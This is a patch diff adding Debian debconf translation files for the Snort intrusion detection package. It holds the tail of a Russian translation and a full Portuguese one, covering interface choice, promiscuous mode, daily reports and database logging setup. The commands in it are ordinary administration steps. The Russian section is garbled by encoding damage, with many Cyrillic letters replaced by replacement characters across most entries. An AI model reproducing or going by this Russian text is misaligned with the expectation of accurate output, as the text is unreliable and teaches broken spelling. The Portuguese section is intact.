+#: ../snort.templates:10001 ../snort-mysql.templates:10001
+#: ../snort-pgsql.templates:10001
+msgid ""
+"Please enter the minimum number of alert occurrences before a given alert is "
+"included in the daily statistics."
+msgstr ""
+"Чтобы быть включённой в дневной отчёт, тревога должна возникнуть более, чем "
+"указанное чи�ло раз."
+
+#. Type: note
+#. Description
+#: ../snort.templates:11001 ../snort-mysql.templates:11001
+#: ../snort-pgsql.templates:11001
+msgid "Snort restart required"
+msgstr "Snort требует�� перезапу�тить"
+
+#. Type: note
+#. Description
+#: ../snort.templates:11001 ../snort-mysql.templates:11001
+#: ../snort-pgsql.templates:11001
+msgid ""
+"As Snort is manually launched, you need to run '/etc/init.d/snort' for the "
+"changes to take place."
+msgstr ""
+"Так как Snort запу�кает�� вручную, дл� того, чтобы изменени� начали "
+"работать, вам нужно выполнить '/etc/init.d/snort'."
+
+#. Type: error
+#. Description
+#: ../snort.templates:12001 ../snort-mysql.templates:12001
+#: ../snort-pgsql.templates:12001
+msgid "Configuration error"
+msgstr "Ошибка на�тройки"
+
+#. Type: error
+#. Description
+#: ../snort.templates:12001 ../snort-mysql.templates:12001
+#: ../snort-pgsql.templates:12001
+msgid ""
+"The current Snort configuration is invalid and will prevent Snort starting "
+"up normally. Please review and correct it."
+msgstr ""
+"Имеюща��� на�тройка Snort неправильна и из-за �того Snort не будет "
+"запу�кать��. Про�мотрите и и�правьте её."
+
+#. Type: error
+#. Description
+#: ../snort.templates:12001 ../snort-mysql.templates:12001
+#: ../snort-pgsql.templates:12001
+msgid ""
+"To diagnose an error in a Snort configuration file, use '/usr/sbin/snort -T -"
+"c <file>'."
+msgstr ""
+"Чтобы найти ошибку в файле на�тройки Snort, во�пользуйте�ь '/usr/sbin/snort -"
+"T -c <файл>'."
+
+#. Type: error
+#. Description
+#: ../snort.templates:13001 ../snort-mysql.templates:13001
+#: ../snort-pgsql.templates:13001
+msgid "Obsolete configuration file"
+msgstr "У�таревший файл на�тройки"
+
+#. Type: error
+#. Description
+#: ../snort.templates:13001 ../snort-mysql.templates:13001
+#: ../snort-pgsql.templates:13001
+msgid ""
+"This system uses an obsolete configuration file (/etc/snort/snort.common."
+"parameters) which has been automatically converted into the new "
+"configuration file format (at /etc/default/snort)."
+msgstr ""
+"В �и�теме и�пользует�� у�таревший файл на�тройки (/etc/snort/snort.common."
+"parameters), он был автоматиче�ки преобразован в файл нового формата (в /etc/"
+"default/snort)."
+
+#. Type: error
+#. Description
+#: ../snort.templates:13001 ../snort-mysql.templates:13001
+#: ../snort-pgsql.templates:13001
+msgid ""
+"Please review the new configuration and remove the obsolete one. Until you "
+"do this, the initialization script will not use the new configuration and "
+"you will not take advantage of the benefits introduced in newer releases."
+msgstr ""
+"Про�мотрите новые на�тройки и удалите у�таревшие. Пока вы �того не �делаете, "
+"�ценарий запу�ка не будет и�пользовать новые на�тройки и вы не получите "
+"преимуще�тв, по�вивших�� в новых выпу�ках."
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001
+msgid "Set up a database for snort-mysql to log to?"
+msgstr "Подготовить базу данных дл� журналировани� � помощью snort-mysql?"
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001 ../snort-pgsql.templates:14001
+msgid ""
+"No database has been set up for Snort to log to. Before continuing, you "
+"should make sure you have:"
+msgstr ""
+"Дл� журналировани� Snort не хватает на�троенной базы данных. Перед тем как "
+"продолжить, проверьте:"
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001 ../snort-pgsql.templates:14001
+msgid ""
+" - the server host name (that server must allow TCP connections\n"
+"   from this machine);\n"
+" - a database on that server;\n"
+" - a username and password to access the database."
+msgstr ""
+" - им� машины-�ервера (�тот �ервер должен принимать TCP-�оединени�\n"
+"   � �той машины);\n"
+" - базу данных на �том �ервере;\n"
+" - им� пользовател� и пароль дл� до�тупа к базе данных."
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001 ../snort-pgsql.templates:14001
+msgid ""
+"If some of these requirements are missing, reject this option and run with "
+"regular file logging support."
+msgstr ""
+"Е�ли не хватает хот� бы одного параметра, ответьте отрицательно и включите "
+"поддержку журналировани� в обычный файл."
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001
+msgid ""
+"Database logging can be reconfigured later by running 'dpkg-reconfigure -"
+"plow snort-mysql'."
+msgstr ""
+"Журналирование в базу данных можно на�троить позже � помощью команды 'dpkg-"
+"reconfigure -plow snort-mysql'."
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:15001 ../snort-pgsql.templates:15001
+msgid "Database server hostname:"
+msgstr "Им� �ервера базы данных:"
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:15001 ../snort-pgsql.templates:15001
+msgid ""
+"Please specify the host name of a database server that allows incoming "
+"connections from this host."
+msgstr ""
+"Убедите�ь, что �ервер базы данных на�троен на прием вход�щих �оединений от "
+"�того компьютера."
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:16001 ../snort-pgsql.templates:16001
+msgid "Database name:"
+msgstr "Им� базы данных:"
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:16001 ../snort-pgsql.templates:16001
+msgid ""
+"Please specify the name of an existing database to which the database user "
+"has write access."
+msgstr ""
+"Укажите им� �уще�твующей базы данных, дл� которой у пользовател� базы данных "
+"е�ть права на запи�ь."
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:17001 ../snort-pgsql.templates:17001
+msgid "Username for database access:"
+msgstr "Им� пользовател� базы данных:"
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:17001 ../snort-pgsql.templates:17001
+msgid "Please specify a database server username with write access to the database."
+msgstr ""
+"Укажите им� пользовател� на �ервере базы данных, имеющего до�туп на запи�ь в "
+"базу."
+
+#. Type: password
+#. Description
+#: ../snort-mysql.templates:18001 ../snort-pgsql.templates:18001
+msgid "Password for the database connection:"
+msgstr "Пароль дл� подключени� к базе данных:"
+
+#. Type: password
+#. Description
+#: ../snort-mysql.templates:18001 ../snort-pgsql.templates:18001
+msgid "Please enter the password to use to connect to the Snort Alert database."
+msgstr "Введите пароль дл� подключени� к базе данных Snort Alert."
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001 ../snort-pgsql.templates:19001
+msgid "Configured database mandatory for Snort"
+msgstr "Дл� Snort должна быть на�троена база данных"
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001 ../snort-pgsql.templates:19001
+msgid ""
+"Snort needs a configured database before it can successfully start up. In "
+"order to create the structure you need to run the following commands AFTER "
+"the package is installed:"
+msgstr ""
+"Snort нужна на�троенна� база данных, прежде чем он �может у�пешно "
+"запу�тить��. Чтобы �оздать �труктуру, вы должны запу�тить �ледующие команды "
+"ПОСЛЕ у�тановки пакета:"
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001
+msgid ""
+" cd /usr/share/doc/snort-mysql/\n"
+" zcat create_mysql.gz | mysql -u <user> -h <host> -p <databasename>"
+msgstr ""
+" cd /usr/share/doc/snort-mysql/\n"
+" zcat create_mysql.gz | mysql -u <пользователь> -h <машина> -p <им� базы "
+"данных>"
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001
+msgid ""
+"Fill in the correct values for the user, host, and database names. MySQL "
+"will prompt you for the password."
+msgstr ""
+"Замените на правильные значени� пользовател�, машины и базы данных. MySQL "
+"запро�ит у ва� пароль."
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001 ../snort-pgsql.templates:19001
+msgid ""
+"After you have created the database structure, you will need to start Snort "
+"manually."
+msgstr "Вам надо запу�тить Snort вручную по�ле �оздани� �труктуры базы данных."
+
+#. Type: boolean
+#. Description
+#: ../snort-pgsql.templates:14001
+msgid "Set up a database for snort-pgsql to log to?"
+msgstr "Подготовить базу данных дл� журналировани� � помощью snort-pgsql?"
+
+#. Type: boolean
+#. Description
+#: ../snort-pgsql.templates:14001
+msgid ""
+"Database logging can be reconfigured later by running 'dpkg-reconfigure -"
+"plow snort-pgsql'."
+msgstr ""
+"Журналирование в базу данных можно на�троить позже � помощью команды 'dpkg-"
+"reconfigure -plow snort-pgsql'."
+
+#. Type: note
+#. Description
+#: ../snort-pgsql.templates:19001
+msgid ""
+" cd /usr/share/doc/snort-pgsql/\n"
+" zcat create_postgresql.gz | psql -U <user> -h <host> -W <databasename>"
+msgstr ""
+" cd /usr/share/doc/snort-pgsql/\n"
+" zcat create_postgresql.gz | psql -U <пользователь> -h <машина> -W <им� базы "
+"данных>"
+
+#. Type: note
+#. Description
+#: ../snort-pgsql.templates:19001
+msgid ""
+"Fill in the correct values for the user, host, and database names. "
+"PostgreSQL will prompt you for the password."
+msgstr ""
+"Замените на правильные значени� пользовател�, машины и базы данных. "
+"PostgreSQL запро�ит у ва� пароль."
+
+#. Type: note
+#. Description
+#: ../snort-common.templates:1001
+msgid "Deprecated configuration file"
+msgstr "У�таревший файл на�троек"
+
+#. Type: note
+#. Description
+#: ../snort-common.templates:1001
+msgid ""
+"The Snort configuration file (/etc/snort/snort.conf) uses deprecated options "
+"no longer available for this Snort release. Snort will not be able to start "
+"unless you provide a correct configuration file. Either allow the "
+"configuration file to be replaced with the one provided in this package or "
+"fix it manually by removing deprecated options."
+msgstr ""
+"Файл на�троек Snort (/etc/snort/snort.conf) и�пользует у�таревшие параметры, "
+"более недо�тупные в �том выпу�ке Snort. Snort не �может запу�тить��, пока вы "
+"не предо�тавите корректный файл на�троек. Вы можете подменить ваш файл "
+"на�троек одним из по�тавл�емых � �тим пакетом или поправить его вручную, "
+"удалив у�таревшие параметры."
+
+#. Type: note
+#. Description
+#: ../snort-common.templates:1001
+#| msgid ""
+#| "The following deprecated options were found in the configuration file: "
+#| "${DEP_CONFIG}."
+msgid ""
+"The following deprecated options were found in the configuration file: "
+"${DEP_CONFIG}"
+msgstr ""
+"В файле на�троек были найдены �ледующие у�таревшие параметры: "
+"${DEP_CONFIG}"
+
--- snort-2.8.5.2.orig/debian/po/pt.po
+++ snort-2.8.5.2/debian/po/pt.po
@@ -0,0 +1,815 @@
+# Portuguese translation for snort's debconf messages
+# Copyright (C) 2007 Miguel Figueiredo <elmig@debianpt.org>
+# This file is distributed under the same license as the snort package.
+# Miguel Figueiredo <elmig@debianpt.org>, 2007
+#
+msgid ""
+msgstr ""
+"Project-Id-Version: snort 2.7.0-10\n"
+"Report-Msgid-Bugs-To: snort@packages.debian.org\n"
+"POT-Creation-Date: 2008-05-01 21:28+0200\n"
+"PO-Revision-Date: 2008-04-08 22:04+0100\n"
+"Last-Translator: Miguel Figueiredo <elmig@debianpt.org>\n"
+"Language-Team: Portuguese <traduz@debianpt.org>\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+
+#. Type: select
+#. Choices
+#: ../snort.templates:1001 ../snort-mysql.templates:1001
+#: ../snort-pgsql.templates:1001
+msgid "boot"
+msgstr "arranque"
+
+#. Type: select
+#. Choices
+#: ../snort.templates:1001 ../snort-mysql.templates:1001
+#: ../snort-pgsql.templates:1001
+msgid "dialup"
+msgstr "dialup"
+
+#. Type: select
+#. Choices
+#: ../snort.templates:1001 ../snort-mysql.templates:1001
+#: ../snort-pgsql.templates:1001
+msgid "manual"
+msgstr "manual"
+
+#. Type: select
+#. Description
+#: ../snort.templates:1002 ../snort-mysql.templates:1002
+#: ../snort-pgsql.templates:1002
+msgid "Snort start method:"
+msgstr "Método de arraque do Snort:"
+
+#. Type: select
+#. Description
+#: ../snort.templates:1002 ../snort-mysql.templates:1002
+#: ../snort-pgsql.templates:1002
+msgid ""
+"Snort can be started during boot, when connecting to the net with pppd or "
+"only manually with the /usr/sbin/snort command."
+msgstr ""
+"O Snort pode ser iniciado durante o arranque, quando se liga à rede com pppd "
+"ou apenas manualmente com o comando /usr/bin/snort."
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+msgid "Interface(s) which Snort should listen on:"
+msgstr "Interface(s) que o Snort deve escutar:"
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+msgid ""
+"This value is usually 'eth0', but this may be inappropriate in some network "
+"environments; for a dialup connection 'ppp0' might be more appropiate (see "
+"the output of '/sbin/ifconfig')."
+msgstr ""
+"Normalmente este valor é 'eth0', mas poderá ser desadequado em alguns "
+"ambientes de rede; para uma ligação 'dialup' 'ppp0' poderá ser mais "
+"apropriado (veja a saída de '/sbin/ifconfig')."
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+msgid ""
+"Typically, this is the same interface as the 'default route' is on. You can "
+"determine which interface is used for this by running '/sbin/route -n' (look "
+"for '0.0.0.0')."
+msgstr ""
+"Normalmente este é o mesmo interface onde está a 'default route'. Você pode "
+"determinar qual o interface que é utilizado para isto quer correndo '/sbin/"
+"ip ro sh' ou correndo '/sbin/route -n' (procure por '0.0.0.0')."
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+msgid ""
+"It is also not uncommon to use an interface with no IP address configured in "
+"promiscuous mode. For such cases, select the interface in this system that "
+"is physically connected to the network that should be inspected, enable "
+"promiscuous mode later on and make sure that the network traffic is sent to "
+"this interface (either connected to a 'port mirroring/spanning' port in a "
+"switch, to a hub or to a tap)."
+msgstr ""
+"Também não é invulgar utilizar um interface sem endereço IP configurado em "
+"modo promíscuo. Para esses casos, escolha o interface neste sistema que está "
+"fisicamente ligado à rede que deseja inspeccionar, depois active o modo "
+"promíscuo e assegure-se que o tráfego de rede é enviado para este interface "
+"(quer ligado a um porto de 'mirroring/spanning' num switch, a um hub ou a um "
+"tap)."
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+msgid ""
+"You can configure multiple interfaces, just by adding more than one "
+"interface name separated by spaces. Each interface can have its own specific "
+"configuration."
+msgstr ""
+"Pode configurar aqui vários interfaces, apenas adicionando mais do que um "
+"nome de interface separado por espaços. Cada interface pode ter a sua "
+"configuração específica."
+
+#. Type: string
+#. Description
+#: ../snort.templates:3001 ../snort-mysql.templates:3001
+#: ../snort-pgsql.templates:3001
+msgid "Address range for the local network:"
+msgstr "Gama de endereços para a rede local:"
+
+#. Type: string
+#. Description
+#: ../snort.templates:3001 ../snort-mysql.templates:3001
+#: ../snort-pgsql.templates:3001
+msgid ""
+"Please use the CIDR form - for example, 192.168.1.0/24 for a block of 256 "
+"addresses or 192.168.1.42/32 for just one. Multiple values should be comma-"
+"separated (without spaces)."
+msgstr ""
+"Por favor utilize o formato CIDR - por exemplo, 192.168.1.0/24 para um bloco "
+"de 256 endereços ou 192.168.1.42/32 para apenas um. Vários endereços devem "
+"ser separados por vírgulas (sem espaços)."
+
+#. Type: string
+#. Description
+#: ../snort.templates:3001 ../snort-mysql.templates:3001
+#: ../snort-pgsql.templates:3001
+msgid ""
+"Please note that if Snort is configured to use multiple interfaces, it will "
+"use this value as the HOME_NET definition for all of them."
+msgstr ""
+"Por favor note que se o Snort está a utilizar vários interfaces, irá "
+"utilizar este valor como a definição HOME_NET para todos eles."
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:4001 ../snort-mysql.templates:4001
+#: ../snort-pgsql.templates:4001
+msgid "Should Snort disable promiscuous mode on the interface?"
+msgstr "Deve o Snort desabilitar o modo promíscuo no interface?"
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:4001 ../snort-mysql.templates:4001
+#: ../snort-pgsql.templates:4001
+msgid ""
+"Disabling promiscuous mode means that Snort will only see packets addressed "
+"to the interface it is monitoring. Enabling it allows Snort to check every "
+"packet that passes the Ethernet segment even if it's a connection between "
+"two other computers."
+msgstr ""
+"Desabilitar o modo promíscuo significa que o Snort irá apenas ver pacotes "
+"endereçados ao interface que está a monitorizar. Habilitá-lo permite ao "
+"Snort verificar cada pacote que passa o segmento Ethernet mesmo que seja a "
+"ligação entre outros dois computadores."
+
+#. Type: error
+#. Description
+#: ../snort.templates:5001 ../snort-mysql.templates:5001
+#: ../snort-pgsql.templates:5001
+msgid "Invalid interface"
+msgstr "Interface inválido"
+
+#. Type: error
+#. Description
+#: ../snort.templates:5001 ../snort-mysql.templates:5001
+#: ../snort-pgsql.templates:5001
+msgid ""
+"Snort is trying to use an interface which does not exist or is down. Either "
+"it is defaulting inappropriately to 'eth0', or you specified one which is "
+"invalid."
+msgstr ""
+"O Snort está a tentar utilizar um interface que não existe ou não está "
+"activado. Ou está a utilizar a pré-definição errada para 'eth0', ou você "
+"especificou um que é inválido."
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:6001 ../snort-mysql.templates:6001
+#: ../snort-pgsql.templates:6001
+msgid "Should Snort's testing order be changed to Pass|Alert|Log?"
+msgstr "Deve a ordem de teste do Snort ser alterada para Pass|Alert|Log?"
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:6001 ../snort-mysql.templates:6001
+#: ../snort-pgsql.templates:6001
+msgid ""
+"Snort's default testing order is Alert|Pass|Log; if you accept this option, "
+"the order will be changed to Pass|Alert|Log, which can make it simpler to "
+"use Snort with some packet-filtering tools."
+msgstr ""
+"O ordem de teste pré-definida do Snort é Alert|Pass|Log; se aceitar esta "
+"opção a ordem será alterada para Pass|Alert|Log, que pode simplificar a "
+"utilização do Snort com outras ferramentas de filtragem de pacotes."
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:7001 ../snort-mysql.templates:7001
+#: ../snort-pgsql.templates:7001
+msgid "Should daily summaries be sent by e-mail?"
+msgstr "Devem ser enviados por e-mail sumários diários?"
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:7001 ../snort-mysql.templates:7001
+#: ../snort-pgsql.templates:7001
+msgid ""
+"A cron job can be set up to send daily summaries of Snort logs to a selected "
+"e-mail address."
+msgstr ""
+"Pode ser criado um trabalho cron para enviar diariamente os sumários dos "
+"registos do Snort para um determinado endereço de e-mail."
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:7001 ../snort-mysql.templates:7001
+#: ../snort-pgsql.templates:7001
+msgid "Please choose whether you want to activate this feature."
+msgstr "Por favor escolha se quer activar esta funcionalidade."
+
+#. Type: string
+#. Description
+#: ../snort.templates:8001 ../snort-mysql.templates:8001
+#: ../snort-pgsql.templates:8001
+msgid "Recipient of daily statistics mails:"
+msgstr "Destinatário que deve receber mails diários das estatísticas:"
+
+#. Type: string
+#. Description
+#: ../snort.templates:8001 ../snort-mysql.templates:8001
+#: ../snort-pgsql.templates:8001
+msgid ""
+"Please specify the e-mail address that should receive daily summaries of "
+"Snort logs."
+msgstr ""
+"Por favor especifique qual o endereço de e-mail que deve receber os resumos "
+"diários dos registos do Snort."
+
+#. Type: string
+#. Description
+#: ../snort.templates:9001 ../snort-mysql.templates:9001
+#: ../snort-pgsql.templates:9001
+msgid "Additional custom options:"
+msgstr "Opções adicionais de personalização:"
+
+#. Type: string
+#. Description
+#: ../snort.templates:9001 ../snort-mysql.templates:9001
+#: ../snort-pgsql.templates:9001
+msgid "Please specify any additional options Snort should use."
+msgstr "Por favor especifique que opções adicionais deve o Snort utilizar."
+
+#. Type: string
+#. Description
+#: ../snort.templates:10001 ../snort-mysql.templates:10001
+#: ../snort-pgsql.templates:10001
+msgid "Minimum occurrences before alerts are reported:"
+msgstr "Número minimo de ocorrências antes de serem reportados alertas:"
+
+#. Type: string
+#. Description
+#: ../snort.templates:10001 ../snort-mysql.templates:10001
+#: ../snort-pgsql.templates:10001
+msgid ""
+"Please enter the minimum number of alert occurrences before a given alert is "
+"included in the daily statistics."
+msgstr ""
+"Por favor introduza o número minimo de ocorrências de alertas antes de um "
+"dado alerta ser incluido nas estatísticas diárias."
+
+#. Type: note
+#. Description
+#: ../snort.templates:11001 ../snort-mysql.templates:11001
+#: ../snort-pgsql.templates:11001
+msgid "Snort restart required"
+msgstr "É necessário que o Snort seja reiniciado"
+
+#. Type: note
+#. Description
+#: ../snort.templates:11001 ../snort-mysql.templates:11001
+#: ../snort-pgsql.templates:11001
+msgid ""
+"As Snort is manually launched, you need to run '/etc/init.d/snort' for the "
+"changes to take place."
+msgstr ""
+"Como o Snort é arrancado manualmente, você tem de executar '/etc/init.d/"
+"snort' para as alterações terem efeito."
+
+#. Type: error
+#. Description
+#: ../snort.templates:12001 ../snort-mysql.templates:12001
+#: ../snort-pgsql.templates:12001
+msgid "Configuration error"
+msgstr "Erro na configuração"
+
+#. Type: error
+#. Description
+#: ../snort.templates:12001 ../snort-mysql.templates:12001
+#: ../snort-pgsql.templates:12001
+msgid ""
+"The current Snort configuration is invalid and will prevent Snort starting "
+"up normally. Please review and correct it."
+msgstr ""
+"A actual configuração do Snort é inválida e impede que o Snort inicie "
+"normalmente. Por favor reveja e corrija."
+
+#. Type: error
+#. Description
+#: ../snort.templates:12001 ../snort-mysql.templates:12001
+#: ../snort-pgsql.templates:12001
+msgid ""
+"To diagnose an error in a Snort configuration file, use '/usr/sbin/snort -T -"
+"c <file>'."
+msgstr ""
+"Para diagnosticar um erro num ficheiro de configuração do Snort, utilize '/"
+"usr/sbin/snort -T -c <ficheiro>'."
+
+#. Type: error
+#. Description
+#: ../snort.templates:13001 ../snort-mysql.templates:13001
+#: ../snort-pgsql.templates:13001
+msgid "Obsolete configuration file"
+msgstr "Ficheiro de configuração obsoleto"
+
+#. Type: error
+#. Description
+#: ../snort.templates:13001 ../snort-mysql.templates:13001
+#: ../snort-pgsql.templates:13001
+msgid ""
+"This system uses an obsolete configuration file (/etc/snort/snort.common."
+"parameters) which has been automatically converted into the new "
+"configuration file format (at /etc/default/snort)."
+msgstr ""
+"Este sistema utiliza um ficheiro de configuração obsoleto (/etc/snort/snort."
+"common.parameters) que foi automaticamente convertido para o novo formato de "
+"ficheiro de configuração (em /etc/default/snort)."
+
+#. Type: error
+#. Description
+#: ../snort.templates:13001 ../snort-mysql.templates:13001
+#: ../snort-pgsql.templates:13001
+msgid ""
+"Please review the new configuration and remove the obsolete one. Until you "
+"do this, the initialization script will not use the new configuration and "
+"you will not take advantage of the benefits introduced in newer releases."
+msgstr ""
+"Por favor reveja a nova configuração e remova a obsoleta. Até fazer isto, o "
+"script de arranque não irá utilizar a nova configuração e você não irá tirar "
+"vantagem dos benefícios introduzidos nos lançamentos mais recentes."
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001
+msgid "Set up a database for snort-mysql to log to?"
+msgstr "Deseja configurar uma base de dados para o snort-mysql fazer registos?"
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001 ../snort-pgsql.templates:14001
+msgid ""
+"No database has been set up for Snort to log to. Before continuing, you "
+"should make sure you have:"
+msgstr ""
+"Não foi configurada uma base de dados para o Snort guardar os registos. "
+"Antes de continuar, você deve assegurar-se que tem:"
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001 ../snort-pgsql.templates:14001
+msgid ""
+" - the server host name (that server must allow TCP connections\n"
+"   from this machine);\n"
+" - a database on that server;\n"
+" - a username and password to access the database."
+msgstr ""
+" - o nome da máquina do servidor (esse servidor tem de permitir ligações "
+"TCP\n"
+"   a partir desta máquina);\n"
+" - uma base de dados nesse servidor;\n"
+" - um nome de utilizador e palavra-passe para aceder à base de dados."
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001 ../snort-pgsql.templates:14001
+msgid ""
+"If some of these requirements are missing, reject this option and run with "
+"regular file logging support."
+msgstr ""
+"Se faltar algum destes requisitos, rejeite esta opção e corra com o suporte "
+"de registos em ficheiro normal."
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001
+msgid ""
+"Database logging can be reconfigured later by running 'dpkg-reconfigure -"
+"plow snort-mysql'."
+msgstr ""
+"O registo em base de dados pode ser reconfigurado posteriormente ao correr "
+"'dpkg-reconfigure -plow snort-mysql'."
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:15001 ../snort-pgsql.templates:15001
+msgid "Database server hostname:"
+msgstr "Nome da máquina do servidor da base de dados:"
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:15001 ../snort-pgsql.templates:15001
+msgid ""
+"Please specify the host name of a database server that allows incoming "
+"connections from this host."
+msgstr ""
+"Por favor especifique o nome da máquina de um servidor de bases de dados que "
+"permita receber ligações feitas a partir desta máquina."
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:16001 ../snort-pgsql.templates:16001
+msgid "Database name:"
+msgstr "Nome da base de dados:"
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:16001 ../snort-pgsql.templates:16001
+msgid ""
+"Please specify the name of an existing database to which the database user "
+"has write access."
+msgstr ""
+"Por favor especifique o nome da base de dados existente na qual o utilizador "
+"da base de dados tem acesso de escrita."
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:17001 ../snort-pgsql.templates:17001
+msgid "Username for database access:"
+msgstr "Nome de utilizador para acesso à base de dados:"
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:17001 ../snort-pgsql.templates:17001
+msgid ""
+"Please specify a database server username with write access to the database."
+msgstr ""
+"Por favor especifique um nome de utilizador de base de dados com acesso de "
+"escrita à base de dados."
+
+#. Type: password
+#. Description
+#: ../snort-mysql.templates:18001 ../snort-pgsql.templates:18001
+msgid "Password for the database connection:"
+msgstr "Palavra-passe para a ligação à base de dados:"
+
+#. Type: password
+#. Description
+#: ../snort-mysql.templates:18001 ../snort-pgsql.templates:18001
+msgid ""
+"Please enter the password to use to connect to the Snort Alert database."
+msgstr ""
+"Por favor introduza a palavra-passe a utilizar para ligar à base de dados "
+"Snort Alert."
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001 ../snort-pgsql.templates:19001
+msgid "Configured database mandatory for Snort"
+msgstr "É obrigatório configurar uma base de dados para o Snort"
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001 ../snort-pgsql.templates:19001
+msgid ""
+"Snort needs a configured database before it can successfully start up. In "
+"order to create the structure you need to run the following commands AFTER "
+"the package is installed:"
+msgstr ""
+"O Snort necessita de uma base de dados configurada antes de poder iniciar "
+"com sucesso. De modo a criar a estrutura você necessita e correr os "
+"seguintes comandos DEPOIS do pacote estar instalado:"
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001
+msgid ""
+" cd /usr/share/doc/snort-mysql/\n"
+" zcat create_mysql.gz | mysql -u <user> -h <host> -p <databasename>"
+msgstr ""
+" cd /usr/share/doc/snort-mysql/\n"
+" zcat create_mysql.gz | mysql -u <utilizador> -h <máquina> -p "
+"<nome_base_dados>"
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001
+msgid ""
+"Fill in the correct values for the user, host, and database names. MySQL "
+"will prompt you for the password."
+msgstr ""
+"Preencha os valores correctos para nome de utilizador, de máquina e de base "
+"de dados. O MySQL irá perguntar-lhe a palavra-passe."
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001 ../snort-pgsql.templates:19001
+msgid ""
+"After you have created the database structure, you will need to start Snort "
+"manually."
+msgstr ""
+"Depois de ter criado a estrutura da base de dados, necessita iniciar "
+"manualmente o Snort."
+
+#. Type: boolean
+#. Description
+#: ../snort-pgsql.templates:14001
+msgid "Set up a database for snort-pgsql to log to?"
+msgstr "Configurar uma base de dados para o snort-pgsql fazer registos?"
+
+#. Type: boolean
+#. Description
+#: ../snort-pgsql.templates:14001
+msgid ""
+"Database logging can be reconfigured later by running 'dpkg-reconfigure -"
+"plow snort-pgsql'."
+msgstr ""
+"O registo em base de dados pode ser reconfigurado posteriormente ao correr "
+"'dpkg-reconfigure -plow snort-pgsql'."
+
+#. Type: note
+#. Description
+#: ../snort-pgsql.templates:19001
+msgid ""
+" cd /usr/share/doc/snort-pgsql/\n"
+" zcat create_postgresql.gz | psql -U <user> -h <host> -W <databasename>"
+msgstr ""
+" cd /usr/share/doc/snort-pgsql/\n"
+" zcat create_postgresql.gz | psql -U <utilizador> -h <máquina> -W "
+"<nome_base_dados>"
+
+#. Type: note
+#. Description
+#: ../snort-pgsql.templates:19001
+msgid ""
+"Fill in the correct values for the user, host, and database names. "
+"PostgreSQL will prompt you for the password."
+msgstr ""
+"Preencha os valores correctos para os nomes de utilizador, máquina e base de "
+"dados. O PostgreSQL irá pedir-lhe a palavra-passe."
+
+#. Type: note
+#. Description
+#: ../snort-common.templates:1001
+msgid "Deprecated configuration file"
+msgstr "Ficheiro de configuração depreciado"
+
+#. Type: note
+#. Description
+#: ../snort-common.templates:1001
+msgid ""
+"The Snort configuration file (/etc/snort/snort.conf) uses deprecated options "
+"no longer available for this Snort release. Snort will not be able to start "
+"unless you provide a correct configuration file. Either allow the "
+"configuration file to be replaced with the one provided in this package or "
+"fix it manually by removing deprecated options."
+msgstr ""
+"O ficheiro de configuração do Snort (/etc/snort/snort.conf) utiliza opções "
+"depreciadas que já não estão disponíveis para este lançamento do Snort.  O "
+"Snort não irá ser capaz de iniciar a menos que você forneça um ficheiro de "
+"configuração correcto. Você pode substituir o seu ficheiro de configuração "
+"pelo que é disponibilizado neste pacote ou corrigi-lo manualmente removendo "
+"as opções depreciadas."
+
+#. Type: note
+#. Description
+#: ../snort-common.templates:1001
+msgid ""
+"The following deprecated options were found in the configuration file: "
+"${DEP_CONFIG}"
+msgstr ""
+"As seguintes opções depreciadas foram encontradas no ficheiro de "
+"configuração: ${DEP_CONFIG}."
+
+#~ msgid "You are running Snort manually"
+#~ msgstr "Você está a correr o Snort manualmente"
+
+#~ msgid "There is an error in your configuration"
